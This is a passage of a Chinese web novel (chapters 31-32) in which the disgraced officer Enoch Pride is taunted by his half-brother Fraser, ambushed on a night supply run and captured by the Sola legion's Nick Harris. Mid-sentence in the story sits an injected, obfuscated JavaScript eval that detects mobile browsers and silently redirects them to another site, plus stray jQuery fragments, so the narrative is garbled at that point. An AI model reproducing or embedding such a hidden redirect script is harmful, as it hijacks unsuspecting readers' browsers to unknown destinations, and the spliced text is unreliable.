一年前被他们俘获,以狮鹫为首的四名匪徒,至今仍昏迷在他们的研究室里。
今天专程来探望,自然不是他一时兴起。
新的篇章,新的战线,即将进一步扩张的‘王国’疆域,他是怀着对这三者的敬意,为了向他下达使命的人来的。
事到如今,纠结能否改变过去已不重要了。
因为交到他手上的回礼,早已不是一颗被咬一口,愿意与他分食的苹果。
他不能再愚蠢地辜负掉这些。
常回望,往前走。
向前进,莫忘根。
两条早已被先辈认证过的处事真理,并非谁都能牢记并运用到现实当中。
困在监狱的第四天,伊诺克·普莱德已与之前判若两人。
他不仅面容消瘦,眼底青黑,原本如绸缎的红色长发也像旱灾时的禾苗,变得毛躁又黯淡,被他用从被单撕下的布条扎成一束。
他实在别无选择。
哨站的士兵要轮流劳作,负责烹饪清扫还有保养重要器具等等,可哨站构造不比寻常建筑,时常要爬上爬下,一不留神就在半露天的瞭望台摔倒。
因为他对做饭备菜一窍不通,所以他今天被分到了给食堂大厅拖地。
不算安慰的‘安慰’是,后厨的人怕莫奇又偷吃太多吃撑,也把这怪小子赶出来擦桌椅了。
和以往一样,能在离美食近的地方,莫奇高兴得就像中了头彩,哼着不成调的曲子。
忽然间,他扬起脖子,用力地向空气嗅着。
习惯对方一惊一乍,稀奇古怪的举止,伊诺克埋头敷衍地摆动拖把。
他心里正回放着往昔优渥又舒适的生活。
十九岁时正式入伍后别说劳作了,反正只要他拿到不错的成绩,他的训练和课程能随时按他意愿调整,七天里休息六天都是常有。
“喂!喂诺克!”
奇葩小子又在鬼叫,念着怎么也纠正不过来的错误名字。
“诺克诺克!我闻到你的味道了、不是、是跟你很像的味道了!”
对于莫奇,伊诺克除厌烦以外就是深深的嫌弃,他佯装没听见,继续搅混铁桶里的脏水。
怎料怪人还是不依不挠,又跳过几张桌子过来叫嚷着。
“哇——果然跟你很像啊,那味道很近了,马上就要过来了、咦?今天师父也在啊。”
闻言伊诺克手一顿,空转的大脑似乎有根筋硬抽了一下。
他听到了笑声。
不加掩饰,无所顾忌的畅快大笑。
用着他熟悉的声线,却发出他从未在家,或在任何一次相处中听见过的笑声。
拖把忽然从手中掉落,他猛转身,正好隔着排排长桌望见经过门口的两道人影。
靠外侧的不必多说,正是叫他牙根痒痒的苏罗。
而靠里也是靠门这边的银发男人,穿着雅致的深蓝套装,同身旁的人说笑,风度翩翩,气宇轩昂。
就跟曾经的他一模一样。
“弗雷泽?他怎么、不,这不可能……”
伊诺克尚在惊疑,一边的莫奇就打碎他的自我安抚。
“他不会是你的亲人吧,你们的气味闻着真的很像啊,不过他的要更浓一点,你的像浆果汁,他的像、呃,像——”
恰好是在弗雷泽乜来一眼,对脸色惨白的胞弟挤出一抹扭曲微笑时,莫奇找到了形容。
“啊!像格罗蒂斯蛇舔过的莓果,那种不能吃,虽然看着会比原来的果子红,但它是有毒的!味道特别怪!”
满意于自己想出的描述,莫奇等不及看向新朋友,想分享他的喜悦。
但他却见对方如石雕一般兀立,唯有喉结因吞咽频频耸动,次数渐多。
“咦?你怎么了,诺克?”
莫奇想拍肩的手落空了。
在他迷惑不解的注视中,伊诺克·普莱德径直冲出大门,带着又浅又急,似要爆发的喘息直奔外面的两人。
31.元首的蓝宝石31
那脚步声实在太好辨认。
虚浮,无力,听着响亮但仿佛只有前脚掌在使劲,根本踩不实地面。
就算没有听声辨人的技术,弗雷泽也能料到跟来的是哪位。
“等等、你们……站住!”
一串呼唤里三次变换语气,调整音量,最后果然恢复他听得最多,也是最无感的腔调。
仿佛是在对虫蚁尘埃说话,宣告自己低头时的恩慈与强大。
若是在首都家中,在生父与那些官僚的面前,一无是处的学者弗雷泽会很乐意陪对方演一下。
可惜,他如今是死而复生的弗雷泽,是斯卡蒂管辖区的领事,未来将代表本地政权与其余辖区或组织交涉。
这里面可不包括一个籍籍无名的小杂鱼。
但出于对愚蠢血亲的最后一丝怜悯,九成是恶意的那种,他仍放缓脚步,故意让人绕到他跟前,好看清他的模样。
银发于灯下闪耀光泽,紫眸因不再低头而向所有看客大方展示,炫美如同宝石。
他今时的形象颠覆了一直以来的灰暗面貌,昂扬且瞩目。
气质虽天壤之别,可人的脸无法突然改变。
所以哪怕一年到头鲜少见面,碰上了也从不正眼相看,伊诺克也瞬间认了出来。
“果然是你,弗雷泽,你——”
“如果你是想说‘你怎么会在这’的老掉牙台词,那我可真的要为你的滞后扼腕了,大我一个月的弟弟,伊诺克·普莱德阁下。”弗雷泽右手按住前襟,不疾不徐截下话头。
“住嘴、我——”
“‘我才没认你是我家的一员’、‘我没有你这种贱种哥哥’,还是‘我的名字也是你配叫的?’,今天的你想选里面的哪一句呢?”弗雷泽笑语盈盈,继续拦话。
他语调散漫却不容插嘴,如一盆冷却剂冻结了红发男人的出声念头。
这场口舌之争,其实一开始就没有公平可言。
因为辩手弗雷泽对伊诺克的了解程度是碾压级别的超越。
常年蛰伏,善于伪装,能够抽离虚假身份旁观,他连草包的一片皮屑构成都知根知底。
而对方被斩断外界联系,甚至还不知道他在首都已因爆炸‘死亡’。
这个可怜的小草包更想不到,凶手就是他一直视为榜样的父母。
“你这叛徒!原来是你一早就跟他们里外勾结,不识好歹的家伙!”
愤怒的普莱德家次子终于又找回声音。
像杠杆找到支点出言叱责,伊诺克的腰杆也挺直几分,他都不畏惧旁边带笑看戏的苏罗了。
作为长子,弗雷泽给足风度,他对狂吠的弟弟摆动食指,啧啧反问道。
“这话你就说得不对了,弟弟。首先,你与我什么时候成了一家人?你的母亲何时把我认作亲人,你的父亲他——有将我视为儿子吗?”
满腹恶言的伊诺克顿时哑火。
父亲怎么对待弗雷泽,他当然知道,并且从小就理所当然地看着。
这其中还有他母亲的功劳。
母亲莫娜日复一日笃定地向他解释,只有他才是普莱德名正言顺的唯一继承人,只有他是父亲唯一认可的子嗣,是家族新一代的骄傲。
可是,他被踢下这个位置了。
非常随便,被别人不费吹灰之力地踢开了。
“其次,弟弟啊。”
念着故意恶心人的称呼,弗雷泽上前两步,他过于深邃的紫罗兰色眼瞳让此时的伊诺克动弹不得,心一阵剧烈收缩。
“趁今天正好遇到你,我就专门解释清楚吧,我这次来呢,才不是为了正义、荣耀或是自尊心这么陈腔滥调的虚无东西。”
大概是为提前打补丁,他拍手歪头一笑。
“啊,不过有一件是跟你有关的。那就是——像你换掉我一样,我要来换掉你。”
红发枯萎的脑袋早已不堪思考的重负,伊诺克一脸愕然,就剩眼耳为他继续接收外界刺激。
对当下的他而言,刺激是弗雷泽搂住魔鬼苏罗的腰,没被拒绝的画面。
这人甚至露出心满意足笑容说道。
“现在,我终于换回来了。”
原来如此。
原来是这个‘位置’……
伊诺克无言地瞪大双眼,被贱种兄长算计的屈辱变成被一对阴险璧人谋害的恼怒。
但他没有等到下一次爆发的时间。
被弗雷泽当成损人颜面的道具,苏罗狡狯地咧嘴一笑,双手反客为主。
他揽住胆敢利用他的人,右手强硬掰过对方的脸。
“换是可以,不过嘛——能否留下来就得看你的本事了。目前为止,你还只有这张脸让我看得顺眼。”
他直接捏红了弗雷泽·普莱德的两颊,看得另一名普莱德肉痛。
“死人不会说话,你想连舌头最后都不能跟你一起下葬吗?”
下巴被捏住固定,眼睛亦只能望向一处,感受着挤压皮肉的强横力道,弗雷泽很快由惊愕转为欢喜。
他以弱于反抗的程度蹭动,讨好地去依偎青年的手心。
“一个吻换取一个死亡的灵魂,若交易的一方是您,鄙人甘之如饴。”他低喃着微顿,脸上又添了一层狂热神采,“您若想让谁跟我一起下葬,我也会不负隆恩,使命必达。哪怕……要我毁灭这个世界。”
疯子。
轮到自己旁观,脑中空空的伊诺克对兄长的真面目只有这一个形容。
他曾断言爱|欲是火。
危险却摄魄的火引诱着人类靠近,施舍温暖又残酷地将他们灼伤。
但那仅限于团在壁炉里的一簇火丛,加点柴便旺盛发亮,洒上水就冒烟熄灭。
弗雷泽心中燃烧的,是会满遍山林,焚尽湖泊的失序野火。
寻常人根本没有与之共舞,将其驯服的可能,光是远望就让人触目惊心,哪还敢伸手——
“啪。”
伸手一拍脑门,不轻不重地制造响声,如同某种宽宏警告。
对弗雷泽做出此举,苏罗没撤掉捏握人家下颚的手。
“我确实可以咬掉你的舌头。”
他靠近,近到再抬头就能接吻或撞断男人的鼻梁,平稳鼻息轻拂对方唇角,如缠绵般私密。
然而他口中淌出的话语,只有统摄其余声音,否定一切妄言的韵调。
“但你说,要为我毁掉世界?真是痴心妄想,你以为你是什么狗血桥段里的主人公吗?一句话论断除你以外的蠢货生死,终结整个故事。”
如此振振有词,差点让人误以为他是为小人物的公义发声,反对‘故事’的狭隘了。
果然,他的意图从来都清楚地写在面上。
就怕别人蠢到读不懂,还要他大发慈悲再额外加一句——
“你们给我记住了,无论终结的世界还是故事,这个的决定权,在我。”
死寂空间内,唯有两道同时停滞,好似向后瑟缩一步的呼吸声接应。
看见火,无论人还是动物都会下意识地怯退。
或许,第一个出现在他们祖先眼前的焰光,就已埋下了畏惧的种子。
诞自雷电劈向巨石的火星,生于地壳深处爆发的岩浆,不同级别的炽热在根源上就与他们能控制把玩的火苗相异。
它当然也可以为人所用,也乐意借此多一条分路扩张领域,延长存在时间。
前提是,妄图取得它的人得做好心理准备。
做好终将被其反噬,变为它诸多燃料之一,被灼烧殆尽的准备。
差点沦为‘烧伤’的一员,弗雷泽最先缓神。
他收回抚在对方腰间的手,五指摩挲,悄悄地留恋。
随后,他压制着有些变调的声音,狂喜又本分地回道。
“遵命。您的教诲,在下……没齿难忘。”
同时松开男人的脸,苏罗又翘起脑袋,双手搭在背后。
“跟上吧,弗雷泽领事,今天以后有你忙的呢。”
遵循说词的起承转合,他转身阔步走开,语气也变得友善起来。
“还有莫奇,带上你的新搭档去收拾一下,凌晨两点你这组要送重要物资出境。”
“记住了,是重要物资,不是能允许你悄悄偷拿的馅饼。要是中途出了差池,我拿你试问。”
重要的事强调两遍,偷摸跟来的莫奇从伊诺克身后闪出,立正敬礼。
他腮帮子鼓起,夸张得像塞了两个榴弹。
这小子果然溜进后厨连吃带拿够了才来凑热闹。
“唔唔唔、收到!师父!”
莫奇大口咽下食物接话。
他声音清亮,脆生生的富有感染力,却让搭档身子一抖,出窍的心神摔回体内。
无形一摔带给伊诺克的打击惨重,他晚饭几乎没碰,全进了莫奇肚子。
午后躺床里提前补觉,他也合不上眼。
见到弗雷泽的那一刻起,他世界的裂缝翻倍增加。
看谁都像是骗子,看什么都是虚假,短短四天糟糕的边境下等兵生活像一群看不见的食肉虫,将他啃噬得体无完肤。
“喂,诺克!诺克你在吗?”
他眼里的牢门被人敲响,保持两下一次的节奏,但他闭着眼装睡,不愿理会。
反正对方又看不见里面,也没有读心术。
“我知道你还没睡啦,我闻得出来的!你现在味道又酸又臭还苦苦的!你是快哭了吗?还是尿裤子了?”
伊诺克:“……”
心中暗骂一声,伊诺克翻身用力踩下地,到门口只拉开一条缝。
“还没到集合时间,你找我干吗。”
话刚出口,他自己就先吓了一跳。
在全是卑贱庶民的哨站呆久了,哪怕实际没接触多少人,他的说话方式竟然也被他们篡改。
不,这只是因为他没必要跟厌恶的人虚情假意罢了。
“嘿嘿。”
门缝外,莫奇窃笑两声,两颗眼珠左右扫动着,神情活似一只偷吃的浣熊。
而他把一块油布包着的东西塞进搭档手里。
“这本来是明天早上的点心,他们今晚提前做好,我就先去给我们领来啦。”
这么说着的他嘴里呼出浓郁的奶酪味,想必他‘提前领取’时又吃了不少,连牙齿都被染成了淡黄色。
手捧暖烘烘的柔软方块,伊诺克一时无措,但不解更甚。
“你为什么要给我。”他脱口而出问。
现在的他既不是中央一军的少校,也不是光鲜亮丽的伊诺克阁下。
白天他被异母胞兄取笑的场景,估计早已传遍整座哨站,传进全北军人的耳朵里了。
“哎?”莫奇眨着大眼,“你晚餐不是没吃吗?现在肚子肯定饿了吧。”
门后的人张了张嘴,不知在跟什么置气,拧眉又追问道。
“就因为这个?”
能辨析人的气味体征,却读不懂刨根问底的用意,莫奇搔搔后脑勺,试探性地说。
“呃——还有上次我不是早餐把你的一份吃了嘛,喏,我还给你。你别生我气哈,咱俩以后是搭档呢,这次是我们第一次出任务,请多多关照啦!”
闻言伊诺克神色微微一松。
是了。
因为凌晨他们要一起出行,这个傻憨无知的家伙想他帮忙,免得出错后担责,所以才用自己觉得很稀罕的食物收买他。
一文不值,粗制滥造,甚至还是从后厨借来的贿|赂物。
他往大衣口袋一塞,收下了。
“……我知道了,你走吧,我要睡觉了。”
门刚要合上,他又猛地敞开两倍宽度,恶声恶气地教训起来。
“还有我刚才不是想哭也不是尿床,拜托你说话前先自己想一遍,谁会愿意听你讲这个!都已经参军入伍了,你文明点!”
数天以来,这还是他第一次一口气说出情感如此丰富的话。
十分自然的,他把罪过算在可恨的苏罗,还有今天刺激到他的弗雷泽头上。
是这两人毁了他的生活,撕裂他的世界,将他变得如此可笑。
可笑到他居然误判了小小莫奇的意图。
深夜两点,他跟莫奇准时登上一辆小型的重甲雪行车。
车子能根据路况自动行驶,但仍需要人把控方向,莫奇二话没说挤进驾驶座,也在他狐疑的注视下娴熟操作起来。
自此,没有他插手的事了。
他像个闲人无所事事地赏景,就和过去一样。
从一段密林驶入稍显荒芜雪地,他后知后觉对着车窗眨眼。
不,差别还是有的。
在此之前,他就没注意过雪从天飘落的样子,原来竟似蝴蝶群舞那般恣意。
如今雪山刚步入回暖期,夜里的风量正好,不会在空旷处奏响阴森呼啸,而是柔和地随雨夹雪敲打车身,轻晃树影。
那声音虽不悦耳,却舒适得令人昏昏欲睡。
为不让自己睡着从而错失逃跑机会,伊诺克退而求其次,有一搭没一搭跟莫奇聊起天来。
幸好,在这脑筋笔直的野人身上,他那些欺哄伎俩依然奏效,一下就问出‘物资’是什么,又将送往哪里。
不出意外的,他又被震惊到了。
“索拉兵团前二把手的遗体?这种东西,你们居然只让两个小兵送到外面化验?”
莫奇两眼直视前方,满不在乎地哈哈笑着。
“其实不是遗体啦,是他不知道为什么一直醒不过来,他不醒来,我们也没法审问他啊。哦对了,嘘——我们其实送的是救灾物资,不是活死人!别告诉其他人哟!”
我一个人质还能告诉谁?
伊诺克嘴角狂抽,只觉得再也聊不下去。
恰好肚子发出了咕咕叫的提示,他手碰到口袋,也记起这里有一个储备粮。
不过吃惯了山珍海味,他仍旧瞧不上粗糙的奶制甜点。
捂着油布包,他想了又想,最后将东西掰成两半。
切分食物很轻松,抬手送向一旁的动作却像耗费了他全身的力气。
“刚好吃不完,拿去。”
他甚至连表达能力都彻底倒退,宛如才开始说话,只会牙牙学语、不懂你我他区别的幼童。
野人莫奇倒是不介意,当即转向他,眼里的小星星多到快飞洒出来,撞了他一脸。
“唔哇呜哇!你果然是点心天使!”
“是天才啊!”
“你是什么点心、点心国王吗!”
……
激动到极点,莫奇在座位上小幅度跳动着,胡言乱语一通后直接发出一串类似野生动物的叫声。
若不是他一边要按方向仪,一边要捧住神圣的食物,他估计要双手捶胸,兴奋得爬到树上倒吊。
感觉好像大猩猩。
突然被自己的想法和眼前画面戳中笑点
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14457880|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,伊诺克瞬间别过脸。
不过,他还是迟了一两秒。
“噗——”
一种笑声比打嗝难忍,擅自钻出他咽喉,冲出他紧闭的双唇。
短暂的嗝可以欺骗自己不存在,但映在玻璃上的虚影——他安静微笑的侧脸却不会说谎。
亲眼见证又亲自让它慢慢消失,他较劲地扭过头,再也不想搭理一旁的野人。
直到车子紧急刹车,差点让他摔到脑袋。
“嘶——该死的、你怎么回事?”
伊诺克捂着头向左看,话音未落就被差劲司机的表情吓得心一沉。
更准确的说,莫奇是面无表情。
“有人在这。”
一向欢脱的青年目光如炬,紧盯着车灯照亮的苍白前景。
那里除了雪,什么都没有。
满打满算,四天的相处时间无法让伊诺克对莫奇产生信任,但足够让他认识到这人的‘特殊’。
这是装着野兽灵魂的人类。
而野兽最擅长追踪猎物包括人类。
车灯照亮的远方,铺开扇形的光路,边缘在明暗界线交替闪烁,营造着强烈的不安氛围。
等了不知多久,伊诺克忍不住悄声问道。
“要、我们要怎么做。”
但莫奇一动不动,专注凝望的姿态神似那天的普里泽兽。
蹲守,匍匐,蓄力,然后于某一刹那全数爆发。
车子动了。
引擎的臂轴因提速狂响,车身带着一阵轰鸣冲刺并急转,剧烈的颠簸下,伊诺克听到了人类的惨叫声。
来不及想这是压到还是撞到,他又在摇晃中眼冒金星。
他甚至怀疑莫奇压根不会开车,只是在乱转弯而已。
疑惑马上又被现实解答了。
主路两旁的雪地,那些在黑暗中不规则的凸起原来不止是积雪,竟然还有伏地伪装的人!
察觉他们要强行突破,这些人翻滚开来。
地上升起金属编织的尖刺网,哪怕拦不住他们也能缠住底盘,让车子在雪地里暴露行踪,变得容易追击。
刚想提醒这点,伊诺克又被侧面炸开的击打声一惊。
几颗破甲子弹射中他的车门,直接打出数个凹洞。
这会儿他是真的想痛骂谁一顿了。
没有武器,没有增派人手,就这样把一个兵团的高级头目送出境线。
送物资也不能这样低调啊!
无奈身处晃动的车内,他晕头转向眼前只有雪色,偶尔才看见莫奇操控车头撞飞几个埋伏在树上的人。
不知过了多久,他才等来一枚炮弹终结这场逃窜。
车身四十五度角倾斜,身处最底下的他本能地想抓住什么。
却不想,有一只手先抓住他并将他整个人提起。
手的主人最后对他说道。
“诺克你先出去,记得找安全屋给队长报信。”
随之而来的剧痛,麻木,上升又下落的失重感一一将他的防线击溃,只允许他在眩晕中摔落,狼狈地喘息。
他真想就这样昏死过去,然后回到最初的起点。
但是,他被更可怕的声音唤回意识,下意识地向前,也是车头即驾驶室滚下山坡的地方爬去。
趴在陡峭的边缘,入目只有一片漆黑。
这是能吞噬一切乃至光线的深渊,连重物坠地摔得四分五裂的巨响也被压缩到底,难以听清。
“不会吧……”
仅存的生还人员,时来运转的人质,同时扮演这两个角色,伊诺克·普莱德趴在雪地,被冻得思绪迟缓。
现在无疑是最佳的逃跑时机。
反正那群有所准备的劫匪图的就是车后箱的东西,拿走了就会离开。
只要他躲起来,或者沿着远方探照灯的光芒前进,他就能逃离困住他的冰雪之狱,然后重新回到他还是少校的正确人生中……
“去他的!”
怒骂的男人自暴自弃了。
自暴自弃的后果是他拖着伤腿,在根本不熟悉的雪林里疾跑,全凭直觉和记在脑中的作战图前进。
他要找到距离遇袭位置一百米,藏在三株冷杉树下的安全洞。
找到,然后发射信号枪。
这样那群混蛋说不定还来得及给疯狂野人收个全尸。
能在雪地绕哨站连跑六圈,不是疯狂是什么?
如今做着相同的事,红发散乱的伊诺克只感到肺部灼痛,嗓子充血,体内犹如寒冰和烈焰交替。
“呼……呼……”
他的喘息声简直像是往破布口袋里灌风,四面八方漏气。
跑了不知多久,或许是一小时,也可能才过几分钟,总之当他感受不到脚趾时,他摔在结实绵软的雪堆里。
挣扎了两下,他扯掉碍事的头盔,透过发丝这唯一的暖色看见前方的模糊轮廓。
三棵并排伫立,两边矮中间高的冷杉,它们如同宁静圣像,在深紫色的夜幕下俯瞰着他。
尽管他不愿承认,但这一刻他确实产生了喜极而泣的冲动。
与‘得救了’的高兴还略有不同,混着点他也道不明的别扭成分。
但现在他顾不得这些,急切地爬起来找到安全洞入口,挪开遮掩的枯木堆。
接着他眼前一花,视野天旋地转。
压制他的手共有四双,他的腿脚脑袋全被摁进雪里,冷得他破口大骂。
事到如今,他多少有点猜中这群人的来历,于是立马改换策略。
“等下、投降!我是南哨站第一分队的新兵,暂无编号,我申请投降者保护!”
话音刚落,压在他头上的手果然松开了,同样离开的还有抵在他后颈的枪口。
目前为止,他还能看到一线生机。
只要这群人里面……
“哟,这可是出乎意料的惊喜啊。”
上方传来钢琴滑奏一般的声音,虽然充满刻意,旋律的不羁却透过花哨的技法奔涌。
埋在雪里的伊诺克脸色一紧。
有谁提起他的长发,让他被迫抬头看清那声音的主人。
个头很高,身披灰袍的男子,体格并不魁梧,他戴着跟哨站士兵相似的头盔,但头顶露出微卷的金发。
不过在深夜的雪林里,这抹金色也被同化成了银白。
对视几秒,男子脱去头盔。
那是一张和俘|虏同样年轻,却更神采飞扬的脸。
他蹲下,细细打量着面色如纸的俘虏,表情轻快得像在跟朋友玩闹。
“喂兄弟们。”他最后按捺不住地笑道,“我们今晚抓到一条大鱼了,这是伊诺克·普莱德,大元帅的次子,他们家族重点培养的接班人呢。”
尽管想要反驳掩饰,可这些人没给伊诺克开口的机会,马上又将他摁回雪中。
通过后来听到的谈话内容,他了解到两件事。
那名金发青年是曾经的北军基地士兵,现在的索拉兵团智囊。
尼克·哈里斯,代号雪狐,如今顶替了狮鹫坐上二把手的交椅,还在兵团内颇具声望。
其中最致命的是,这人不仅认得他,似乎还对他抱有莫大的兴趣。
和同伙用另一种方言交流完,尼克·哈里斯又蹲在他跟前,发出跟最初一样风趣动听,却将他打入真正地狱的声音说道。
“把他带回去吧,我们很快就要迎来一笔大买卖了。”
32.元首的蓝宝石32
毫无疑问,这是一笔大‘交易’。
将斯卡蒂山脉的蓝月能源开采洞的使用权让渡,以换取临近三个辖区十分之一的人力支援。
只需要人力,不要武器或物资。
甚至没说一定要士兵,只需要健壮的年轻人,再不济就是有一技之长的老工匠。
期间北军会保障他们的吃穿用度与安全,只要他们在这待满两个月,完成分配给他们的工作。
两个月后,开采洞就是随便他们进出的任意门,养钱生财的聚宝盆。
“恕我直言,您也太坏心眼了。”
红屋的会议室内,弗雷泽·普莱德毫不避讳地点出来。
“在你们已经确定能源洞一无是处,蓝月能源并非珍物的前提下隐瞒部分事实提出交易,如此没有诚信,连我都自叹弗如。”
同以智谋口才取胜,季宇飞当仁不让,即刻接道。
“要论隐瞒程度的深浅,弗雷泽阁下您倒不如先问问常年跟在大元帅身后,各位马首是瞻的某某元帅。他们在玩间谍桌牌游戏时的表现,一定会惊艳全场的。”
“哎呀,这还用季先生说么,我与他们常在餐桌上见,早就为他们的风姿所折服了呢。”
“您说的是,可常言道人心隔肚皮,再说您只与他们有点头之交,又怎能如此武断诸位元帅的表里是否一致?”
……
两幅笑里藏刀的嘴脸,两道指山说磨,把一个字当成一句话用的声音。
太久没见这种不说人话尽说鬼话的交流,今天的旁听生谢云哲略感头疼。
他看向同样沉默皱眉的苏霆,有点犹豫要不要插嘴。
不然再这样下去,计划进度就要被一直拖着了。
内容正如弗雷泽刚才概括的,用斯卡蒂的开采洞换两个月的人力支援。
表面上看,这似乎是要着手大兴土木,重点建设东侧了。
类似的交换早年间也有先例,不过当初用的是蓝月能源的低浓度溶剂,是在连基地也走投无路,养不起士兵的低谷期才选择的下下策。
不过……
“你有什么想说的么。”
一道声音同时终止了两个笑面虎的交锋,以及谢云哲的思考。
声源所在的首座位于房内中轴顶端,坐西朝东,背靠大窗,天然地吸引着视线。
每当太阳高悬,金光射穿云雾时,就会像现在这样变成只属于一个人的背景衬托。
两腿搁在桌上,身子带动转椅微晃,坐没坐相的苏罗眯缝着眼,又示意一遍。
“想说就说吧,今天只是小组会,这里的所有人随意发言。”
明白这是在示意自己,谢云哲清了清嗓子,坐姿反复调整后才开口。
“我只在想,您是准备通过这种方式刺探周边三个辖区的领导人,看他们是否也参与了生物记忆芯片的实验,又是否是知情且自愿的,然后……”
因为时刻准备着被谁打断,谢云哲语速调到最慢,但一路顺畅地说下来,他又渐渐找到应有的口吻。
“然后,通过这次交换给出信号,如果能在某些事上达成一致方针,他们今后就不必为营生安危担忧,如果他们不愿与您合作,那未来就必须闭嘴也不准插手,否则就直接视作敌对。”
帝国解体之后,原有的版图拆解成十个主辖区,三个特别独立区,以及包含星际航道在内的暗环区。
除了灰色地带的暗环区,每一片区都有自己的治理者。
或是一军元帅,或是元帅和原来就有的领主共治。
但无论第一领导人如何改换,所有辖区都像拴在一棵果树上的飞鸟。
它们只能吃着枝头掉落的果实,绕着树干振翅,也无法冲破栓绳限制,飞往更高处落脚。
如今这棵树即是地处中央的首都,也是普莱德一族自古把守的‘王座’。
“扯远了。”分析到忘我的谢云哲打断自己,重新在大脑抽屉里摘选新开头,“总之,能在离我们最近的三个实力不错、局势平稳的邻居里选出同盟,最好是全部拿下,就可以在再下一步更大的行动前将损失降到最低——咦?”
思路又推到了矛盾点,他不禁噘了一下嘴唇。
如果只是把临近辖区看成同盟,那就没必要顾虑他们的损失,也不必大费周章地试探,还索要多余的人力支援,增加隐患。
直接像制服伊诺克·普莱德一样,用蓝月能源交易为幌子请他们的治理者过来,逐个攻破。
解决这个障碍没有耗费谢云哲太久。
他先转向苏罗,确认对方的眼神,而后脸上掠过一丝明朗的笑。
“在被您正式吞并收复之前,他们遭受的伤害自然是越少越好,否则这也是您的损失了。”
回答正确。
本来想插话帮忙的季宇飞不禁莞尔,默默点头。
“不过我还有不明白的地方。”谢云哲双手擦着大腿布料,语气又小心翼翼起来,“您要他们借给你两个月的人力,这是要用在哪?”
在最艰难的建设初期,东山脉的百姓们都能靠自己挺过去。
没道理这时候突然又引进来一大群人,白白浪费本地的资源。
“唔,你很快就知道了。”苏罗说罢朝弗雷泽勾勾手指,仍旧是那懒散派头,“改一下协议内容,把‘开采洞在我军探查下目前已确认枯竭’的说明加进去。”
手执文件草稿,弗雷泽这下一起绷紧了脸和手,祭出狂喜庆贺般的眼神。
“您可真坏啊。”他食指抹着上唇,扭曲的笑意蠢蠢欲动,“故意用这种方式引诱傲慢的人上钩,然后又折断他们的头颅。扮猪吃老虎都没您这样用心险恶。”
嘴里说着谴责的话,弗雷泽·普莱德的语气却满是欢欣,仿佛等不及要开一瓶佳酿,用悲惨者的苦脸下酒。
对此,苏罗朝人挤了挤眼睛,笑容可掬地威胁。
“你用词下次还可以更大胆点,不是最高级别的就不要在我面前卖弄。”
“遵命,我最爱也最坏的苏罗少爷。”弗雷泽立马就开始践行,指尖送出飞吻。
坐在另一边,全场最沉默,最后的成员——苏霆元帅终于要表态了。
空间分明很宽敞,他偏要起身走到方桌前,打断某个银发混账的暗送秋波。
“差不多到时间了。”
搞出一串大动作就憋出这么一句话,连他才相认不久的亲弟弟也无奈干咳,别过脸替他尴尬。
好在事情的进展顺利跟他打配合。
南哨站传来报告,今天凌晨两点四十五分,负责运输物资的一组士兵失联了。
后来站点派人搜寻,在主路段发现凌乱的车辙与脚印。
而又经过半小时追踪,他们才在一处陡坡找到雪行车的残骸。
目前能确定的是,只有一名生还者——大概率是伊诺克·普莱德逃离了现场,跑向树林深处。
至于莫奇,他应该是和雪行车一起坠入崖底了。
在报告中听到莫奇与伊诺克·普莱德的名字,谢云哲说不惊讶是假。
可见其余人一脸风轻云淡,而通讯器里尤金的声音从容,表述平静,他便也跳过担忧,透过表象推敲事件本质。
就是不知那矜贵的少校,逃亡得怎么样了呢?
一个词概述。
生不如死。
两个词形容。
如入虎穴,希望渺茫。
若换做更具体的描绘,就是被当成一件货物塞进网兜,从地面被吊上高达百米的崖壁,拖进冰冷的石室囚|禁。
屋内空无一物,没有供暖和照明,冷风从坑坑洼洼的墙面渗进来,吹散空气中含有血腥味的腐臭。
这便是伊诺克·普莱德对整个地方,或该说索拉兵团根据地的第一印象——由绝望为凿刀一点点挖开,刮下山石与人类的尸骸,修建在悬崖表面的空中监狱。
绝望是很抽象的概念,能使人窒息,能逼人尖叫,却又令他们无法对指认它为凶手,指证它的凶器。
此时此刻,对瘫倒在地的红发青年来说,要他上庭作证并非难题。
冷,饿,累,困,只有一扇小窗的牢门外传来的凄厉哀嚎……
组成他当下感受的一切,就是让他绝望的诱因。
来前被打断了右腿,也被注射了神经毒药,他连靠自己翻个身,掖一下衣角都做不到。
身体的丧失感一度吞噬他的意志,将他的灵魂挤出躯壳之外。
门突然开了。
这面金属门底部有一块凸起来的小角,随着移动刮擦地面。
更冷的寒风与刺耳的滋滋声灌入空间,伊诺克本能地打了个冷颤。
由于耳朵贴地,他对声音的敏感度自然翻倍,清晰地感受到进来的是一个人。
对方脚步轻而悠缓,但只是习惯使然,并非顾虑他。
否则那家伙也不会拖着一把椅子,故意弄出咣当咣当的碰撞声,挑在他跟前坐下。
甚至还点起了味道难闻的烟,边抽边俯身,吐在他头上。
“唔、咳,咳咳——”
浓烟刺鼻,伊诺克破除官能性的缄默,吃力地咳嗽。
“啊,抱歉抱歉,我还以为你没醒呢,我这就灭掉。”
抽烟者假惺惺道歉,听声音果然是埋伏抓捕他的雪狐——尼克·哈里斯。
但这人该怎么说好呢,一边能完美融入残暴荒淫的匪军里,一边却又维持着和气相待的体面,仿佛是随意穿梭两侧的精明使者。
就像现在,尼克·哈里斯用烟呛醒他后又马上掐灭,挥手打散气味酸涩的雾气。
“雪泥烟。不知道堂堂伊诺克少校是否听说过这种破烂玩意儿的名字。”
牢门大敞着,微光闯入斜裁空间,正好将一坐一趴的二人分开。
如今立于完全的人质处境,伊诺克延续着之前的自暴自弃,一动不动,也不吭声。
他听见对方开始拨弄衣袖。
“嘶——不应该啊。算算时间,你的药效现在刚好转移,能让你开口说话但形同瘫痪。
不过等得再久一点,你的身体又受到撞击的话,毒素就会真的影响到脊髓,让你从今以后再也站不起来了,只能当个废人呢。”
装死的伊诺克顿时语塞。
如此轻描淡写地说出那么恐怖的字眼,上一个被他遇到的类似的人,还是同为北军一员的苏罗。
一想起带给自己莫大屈辱,又让他身处险境的魔鬼,他死去的愤恨复苏了。
“你想、说什么。”伊诺克挑动发麻的舌头说道。
